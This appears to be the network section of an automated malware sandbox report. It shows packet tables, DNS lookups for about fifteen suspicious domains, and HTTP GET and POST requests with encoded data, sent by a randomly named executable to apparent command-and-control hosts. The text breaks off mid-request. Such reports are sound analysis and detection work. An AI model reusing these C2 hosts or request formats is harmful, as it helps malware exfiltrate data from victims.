Jul 1, 2024 19:26:41.760642052 CEST	80	64490	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:42.421699047 CEST	80	64490	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:42.422107935 CEST	80	64490	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:42.422164917 CEST	64490	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:43.264028072 CEST	64490	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:44.282448053 CEST	64491	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:44.287460089 CEST	80	64491	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:44.287545919 CEST	64491	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:44.289427996 CEST	64491	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:44.294337034 CEST	80	64491	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:44.295077085 CEST	80	64491	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:45.795233965 CEST	64491	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:45.802994013 CEST	80	64491	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:45.803076982 CEST	64491	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:46.813823938 CEST	64492	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:46.819072962 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:46.822117090 CEST	64492	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:46.825320959 CEST	64492	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:46.830137968 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:47.501921892 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:47.501945019 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:47.501957893 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:47.502068043 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:47.502079964 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:47.502089977 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:47.502103090 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:47.502103090 CEST	64492	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:47.502115011 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:47.502125978 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:47.502129078 CEST	64492	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:47.502129078 CEST	64492	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:47.502160072 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:47.502171040 CEST	64492	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:47.502248049 CEST	64492	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:47.506937027 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:47.506958008 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:47.507086039 CEST	64492	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:47.596474886 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:47.596504927 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:47.596687078 CEST	64492	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:47.597362995 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:47.597376108 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:47.597388983 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:47.597402096 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:47.597414017 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:47.597425938 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:47.597425938 CEST	64492	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:47.597439051 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:47.597450018 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:47.597460985 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:47.597474098 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:47.597474098 CEST	64492	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:47.597498894 CEST	64492	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:47.597551107 CEST	64492	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:47.597935915 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:47.598074913 CEST	64492	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:47.601759911 CEST	64492	80	192.168.2.7	91.195.240.123
Jul 1, 2024 19:26:47.606650114 CEST	80	64492	91.195.240.123	192.168.2.7
Jul 1, 2024 19:26:52.972213030 CEST	64493	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:26:52.977063894 CEST	80	64493	38.207.19.49	192.168.2.7
Jul 1, 2024 19:26:52.977186918 CEST	64493	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:26:52.979090929 CEST	64493	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:26:52.984067917 CEST	80	64493	38.207.19.49	192.168.2.7
Jul 1, 2024 19:26:54.169118881 CEST	80	64493	38.207.19.49	192.168.2.7
Jul 1, 2024 19:26:54.170180082 CEST	80	64493	38.207.19.49	192.168.2.7
Jul 1, 2024 19:26:54.170260906 CEST	64493	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:26:54.482778072 CEST	64493	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:26:55.503592968 CEST	64494	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:26:55.626859903 CEST	80	64494	38.207.19.49	192.168.2.7
Jul 1, 2024 19:26:55.626961946 CEST	64494	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:26:55.629261017 CEST	64494	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:26:55.634030104 CEST	80	64494	38.207.19.49	192.168.2.7
Jul 1, 2024 19:26:56.877687931 CEST	80	64494	38.207.19.49	192.168.2.7
Jul 1, 2024 19:26:56.877712011 CEST	80	64494	38.207.19.49	192.168.2.7
Jul 1, 2024 19:26:56.877835035 CEST	64494	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:26:57.139094114 CEST	64494	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:26:58.158385038 CEST	64495	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:26:58.163304090 CEST	80	64495	38.207.19.49	192.168.2.7
Jul 1, 2024 19:26:58.163378954 CEST	64495	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:26:58.166465044 CEST	64495	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:26:58.171416044 CEST	80	64495	38.207.19.49	192.168.2.7
Jul 1, 2024 19:26:58.172868967 CEST	80	64495	38.207.19.49	192.168.2.7
Jul 1, 2024 19:26:59.308974981 CEST	80	64495	38.207.19.49	192.168.2.7
Jul 1, 2024 19:26:59.309047937 CEST	80	64495	38.207.19.49	192.168.2.7
Jul 1, 2024 19:26:59.309331894 CEST	64495	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:26:59.670275927 CEST	64495	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:27:00.688770056 CEST	64496	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:27:00.693893909 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:00.696486950 CEST	64496	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:27:00.696486950 CEST	64496	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:27:00.701452017 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:01.953816891 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:01.953845024 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:01.953860044 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:01.953871965 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:01.953880072 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:01.953891993 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:01.953908920 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:01.953921080 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:01.953931093 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:01.953943968 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:01.953989029 CEST	64496	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:27:01.954086065 CEST	64496	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:27:01.960066080 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:01.960078955 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:01.960091114 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:01.960191965 CEST	64496	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:27:02.170510054 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.170644045 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.170655012 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.170675039 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.170686960 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.170754910 CEST	64496	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:27:02.170803070 CEST	64496	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:27:02.171246052 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.171260118 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.171272039 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.171283960 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.171314955 CEST	64496	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:27:02.171314955 CEST	64496	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:27:02.172224045 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.172235012 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.172247887 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.172260046 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.172270060 CEST	64496	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:27:02.172302961 CEST	64496	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:27:02.173204899 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.173216105 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.173228025 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.173240900 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.173249006 CEST	64496	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:27:02.173281908 CEST	64496	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:27:02.174160957 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.174176931 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.174190044 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.174201965 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.174206018 CEST	64496	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:27:02.174233913 CEST	64496	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:27:02.175077915 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.175132990 CEST	64496	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:27:02.175328016 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.175559998 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.175602913 CEST	64496	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:27:02.175920010 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.259197950 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.259310961 CEST	64496	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:27:02.259469032 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:02.259511948 CEST	64496	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:27:02.262443066 CEST	64496	80	192.168.2.7	38.207.19.49
Jul 1, 2024 19:27:02.267277956 CEST	80	64496	38.207.19.49	192.168.2.7
Jul 1, 2024 19:27:07.327153921 CEST	64497	80	192.168.2.7	84.32.84.32
Jul 1, 2024 19:27:07.331960917 CEST	80	64497	84.32.84.32	192.168.2.7
Jul 1, 2024 19:27:07.332082987 CEST	64497	80	192.168.2.7	84.32.84.32
Jul 1, 2024 19:27:07.334908962 CEST	64497	80	192.168.2.7	84.32.84.32
Jul 1, 2024 19:27:07.339762926 CEST	80	64497	84.32.84.32	192.168.2.7
Jul 1, 2024 19:27:07.815752029 CEST	80	64497	84.32.84.32	192.168.2.7
Jul 1, 2024 19:27:07.815814972 CEST	64497	80	192.168.2.7	84.32.84.32
Jul 1, 2024 19:27:08.842170954 CEST	64497	80	192.168.2.7	84.32.84.32
Jul 1, 2024 19:27:08.847067118 CEST	80	64497	84.32.84.32	192.168.2.7
Jul 1, 2024 19:27:11.688687086 CEST	64498	80	192.168.2.7	84.32.84.32
Jul 1, 2024 19:27:11.693634987 CEST	80	64498	84.32.84.32	192.168.2.7
Jul 1, 2024 19:27:11.693782091 CEST	64498	80	192.168.2.7	84.32.84.32
Jul 1, 2024 19:27:11.695501089 CEST	64498	80	192.168.2.7	84.32.84.32
Jul 1, 2024 19:27:11.707015038 CEST	80	64498	84.32.84.32	192.168.2.7
Jul 1, 2024 19:27:12.193494081 CEST	80	64498	84.32.84.32	192.168.2.7
Jul 1, 2024 19:27:12.196687937 CEST	64498	80	192.168.2.7	84.32.84.32
Jul 1, 2024 19:27:13.201646090 CEST	64498	80	192.168.2.7	84.32.84.32
Jul 1, 2024 19:27:13.206744909 CEST	80	64498	84.32.84.32	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 1, 2024 19:23:35.492649078 CEST	51860	53	192.168.2.7	1.1.1.1
Jul 1, 2024 19:23:35.514746904 CEST	53	51860	1.1.1.1	192.168.2.7
Jul 1, 2024 19:23:37.567955971 CEST	53	64530	162.159.36.2	192.168.2.7
Jul 1, 2024 19:23:38.060596943 CEST	52975	53	192.168.2.7	1.1.1.1
Jul 1, 2024 19:23:38.303170919 CEST	53	52975	1.1.1.1	192.168.2.7
Jul 1, 2024 19:23:51.235771894 CEST	54560	53	192.168.2.7	1.1.1.1
Jul 1, 2024 19:23:51.256505013 CEST	53	54560	1.1.1.1	192.168.2.7
Jul 1, 2024 19:24:07.407736063 CEST	61963	53	192.168.2.7	1.1.1.1
Jul 1, 2024 19:24:07.455321074 CEST	53	61963	1.1.1.1	192.168.2.7
Jul 1, 2024 19:24:20.806411028 CEST	60446	53	192.168.2.7	1.1.1.1
Jul 1, 2024 19:24:20.902789116 CEST	53	60446	1.1.1.1	192.168.2.7
Jul 1, 2024 19:24:28.969827890 CEST	54820	53	192.168.2.7	1.1.1.1
Jul 1, 2024 19:24:29.457137108 CEST	53	54820	1.1.1.1	192.168.2.7
Jul 1, 2024 19:25:03.596227884 CEST	59249	53	192.168.2.7	1.1.1.1
Jul 1, 2024 19:25:03.772133112 CEST	53	59249	1.1.1.1	192.168.2.7
Jul 1, 2024 19:25:17.471127987 CEST	60621	53	192.168.2.7	1.1.1.1
Jul 1, 2024 19:25:17.489001036 CEST	53	60621	1.1.1.1	192.168.2.7
Jul 1, 2024 19:25:30.782805920 CEST	63080	53	192.168.2.7	1.1.1.1
Jul 1, 2024 19:25:31.075479031 CEST	53	63080	1.1.1.1	192.168.2.7
Jul 1, 2024 19:25:44.228532076 CEST	61098	53	192.168.2.7	1.1.1.1
Jul 1, 2024 19:25:44.763315916 CEST	53	61098	1.1.1.1	192.168.2.7
Jul 1, 2024 19:25:52.830728054 CEST	51797	53	192.168.2.7	1.1.1.1
Jul 1, 2024 19:25:52.979449034 CEST	53	51797	1.1.1.1	192.168.2.7
Jul 1, 2024 19:26:11.238993883 CEST	54473	53	192.168.2.7	1.1.1.1
Jul 1, 2024 19:26:11.600975037 CEST	53	54473	1.1.1.1	192.168.2.7
Jul 1, 2024 19:26:25.142311096 CEST	55978	53	192.168.2.7	1.1.1.1
Jul 1, 2024 19:26:25.492132902 CEST	53	55978	1.1.1.1	192.168.2.7
Jul 1, 2024 19:26:39.080004930 CEST	50701	53	192.168.2.7	1.1.1.1
Jul 1, 2024 19:26:39.183476925 CEST	53	50701	1.1.1.1	192.168.2.7
Jul 1, 2024 19:26:52.610913038 CEST	64906	53	192.168.2.7	1.1.1.1
Jul 1, 2024 19:26:52.969223022 CEST	53	64906	1.1.1.1	192.168.2.7
Jul 1, 2024 19:27:07.268593073 CEST	56320	53	192.168.2.7	1.1.1.1
Jul 1, 2024 19:27:07.321743011 CEST	53	56320	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 1, 2024 19:23:35.492649078 CEST	192.168.2.7	1.1.1.1	0x7a98	Standard query (0)	www.erhaltungsmassage.com	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:23:38.060596943 CEST	192.168.2.7	1.1.1.1	0xbc9f	Standard query (0)	171.39.242.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Jul 1, 2024 19:23:51.235771894 CEST	192.168.2.7	1.1.1.1	0x31f9	Standard query (0)	www.oyoing.com	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:24:07.407736063 CEST	192.168.2.7	1.1.1.1	0xc5bb	Standard query (0)	www.foryourhealth19.com	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:24:20.806411028 CEST	192.168.2.7	1.1.1.1	0xfc7f	Standard query (0)	www.oudcafeae.online	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:24:28.969827890 CEST	192.168.2.7	1.1.1.1	0xe934	Standard query (0)	www.86wqi.cyou	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:25:03.596227884 CEST	192.168.2.7	1.1.1.1	0xabd	Standard query (0)	www.vivaepicmarbella.com	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:25:17.471127987 CEST	192.168.2.7	1.1.1.1	0x6294	Standard query (0)	www.lookstudiov.com	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:25:30.782805920 CEST	192.168.2.7	1.1.1.1	0x5d53	Standard query (0)	www.cr-pos.com	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:25:44.228532076 CEST	192.168.2.7	1.1.1.1	0xc9a8	Standard query (0)	www.antifabricated.com	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:25:52.830728054 CEST	192.168.2.7	1.1.1.1	0xe6dc	Standard query (0)	www.tufftiff.xyz	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:26:11.238993883 CEST	192.168.2.7	1.1.1.1	0xd879	Standard query (0)	www.botokkkd4.top	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:26:25.142311096 CEST	192.168.2.7	1.1.1.1	0x290c	Standard query (0)	www.cvt-auto.ru	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:26:39.080004930 CEST	192.168.2.7	1.1.1.1	0x282c	Standard query (0)	www.ridcoredry.live	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:26:52.610913038 CEST	192.168.2.7	1.1.1.1	0xc363	Standard query (0)	www.filmbrute.com	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:27:07.268593073 CEST	192.168.2.7	1.1.1.1	0x7780	Standard query (0)	www.xn--gotopia-bya.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 1, 2024 19:23:35.514746904 CEST	1.1.1.1	192.168.2.7	0x7a98	No error (0)	www.erhaltungsmassage.com		217.160.0.31	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:23:38.303170919 CEST	1.1.1.1	192.168.2.7	0xbc9f	Name error (3)	171.39.242.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jul 1, 2024 19:23:51.256505013 CEST	1.1.1.1	192.168.2.7	0x31f9	No error (0)	www.oyoing.com		127.0.0.1	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:24:07.455321074 CEST	1.1.1.1	192.168.2.7	0xc5bb	No error (0)	www.foryourhealth19.com		172.67.194.145	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:24:07.455321074 CEST	1.1.1.1	192.168.2.7	0xc5bb	No error (0)	www.foryourhealth19.com		104.21.84.156	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:24:20.902789116 CEST	1.1.1.1	192.168.2.7	0xfc7f	Server failure (2)	www.oudcafeae.online	none	none	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:24:29.457137108 CEST	1.1.1.1	192.168.2.7	0xe934	No error (0)	www.86wqi.cyou		38.55.194.30	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:25:03.772133112 CEST	1.1.1.1	192.168.2.7	0xabd	No error (0)	www.vivaepicmarbella.com		46.30.215.51	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:25:17.489001036 CEST	1.1.1.1	192.168.2.7	0x6294	No error (0)	www.lookstudiov.com		74.208.236.162	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:25:31.075479031 CEST	1.1.1.1	192.168.2.7	0x5d53	No error (0)	www.cr-pos.com		192.250.231.28	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:25:44.763315916 CEST	1.1.1.1	192.168.2.7	0xc9a8	Server failure (2)	www.antifabricated.com	none	none	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:25:52.979449034 CEST	1.1.1.1	192.168.2.7	0xe6dc	No error (0)	www.tufftiff.xyz		162.0.238.43	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:26:11.600975037 CEST	1.1.1.1	192.168.2.7	0xd879	No error (0)	www.botokkkd4.top	botokkkd4.top		CNAME (Canonical name)	IN (0x0001)	false
Jul 1, 2024 19:26:11.600975037 CEST	1.1.1.1	192.168.2.7	0xd879	No error (0)	botokkkd4.top		43.198.80.127	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:26:25.492132902 CEST	1.1.1.1	192.168.2.7	0x290c	No error (0)	www.cvt-auto.ru		45.130.41.249	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:26:39.183476925 CEST	1.1.1.1	192.168.2.7	0x282c	No error (0)	www.ridcoredry.live		91.195.240.123	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:26:52.969223022 CEST	1.1.1.1	192.168.2.7	0xc363	No error (0)	www.filmbrute.com		38.207.19.49	A (IP address)	IN (0x0001)	false
Jul 1, 2024 19:27:07.321743011 CEST	1.1.1.1	192.168.2.7	0x7780	No error (0)	www.xn--gotopia-bya.com	xn--gotopia-bya.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 1, 2024 19:27:07.321743011 CEST	1.1.1.1	192.168.2.7	0x7780	No error (0)	xn--gotopia-bya.com		84.32.84.32	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.erhaltungsmassage.com

www.foryourhealth19.com

www.86wqi.cyou

www.vivaepicmarbella.com

www.lookstudiov.com

www.cr-pos.com

www.tufftiff.xyz

185.234.72.101

www.botokkkd4.top

www.cvt-auto.ru

www.ridcoredry.live

www.filmbrute.com

www.xn--gotopia-bya.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49712	217.160.0.31	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:23:35.528269053 CEST	464	OUT	GET /ky1l/?Lb=GFtlIrHx8T50&FTP84=rq50Wd1lMHFX8odFqcPFBXSYTeLeWZzOZdEKt1q2Ng0jiW/1UU7Cv6Tb1vTcZWKNTv6a7aX5qQrtM6kOVx9AgvgUe5/Bja5gpUFr8IDyktkkvNGNZ4xEuXwKitfXYUFnVmIVCEjvmGcp HTTP/1.1 Host: www.erhaltungsmassage.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Jul 1, 2024 19:23:36.188384056 CEST	745	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 601 Connection: close Date: Mon, 01 Jul 2024 17:23:36 GMT Server: Apache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Die angegebene Seite konnte nicht gefunden werden. </p> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	64456	172.67.194.145	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:24:07.464421034 CEST	737	OUT	POST /ym7q/ HTTP/1.1 Host: www.foryourhealth19.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 218 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.foryourhealth19.com Referer: http://www.foryourhealth19.com/ym7q/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 5a 7a 78 6c 32 43 63 4e 63 4a 67 36 42 46 64 51 70 66 6d 36 4c 4c 66 68 33 56 53 54 54 32 6b 69 69 69 50 6c 59 53 30 5a 6d 51 51 68 31 4d 6f 72 58 48 64 66 2b 55 6a 61 73 56 47 63 5a 42 6b 31 72 37 4c 2b 31 2b 74 4b 7a 53 52 57 48 34 69 6d 42 31 57 47 78 47 6d 38 49 54 36 37 73 72 2f 31 41 2b 41 41 6f 61 61 74 4f 67 6c 4c 73 34 6f 46 4c 31 56 34 4c 6d 63 63 4b 32 73 6c 52 4c 46 35 6a 6e 32 6c 53 65 30 70 59 2b 47 66 64 4d 61 31 53 6c 62 53 45 66 31 67 62 34 53 68 31 30 6e 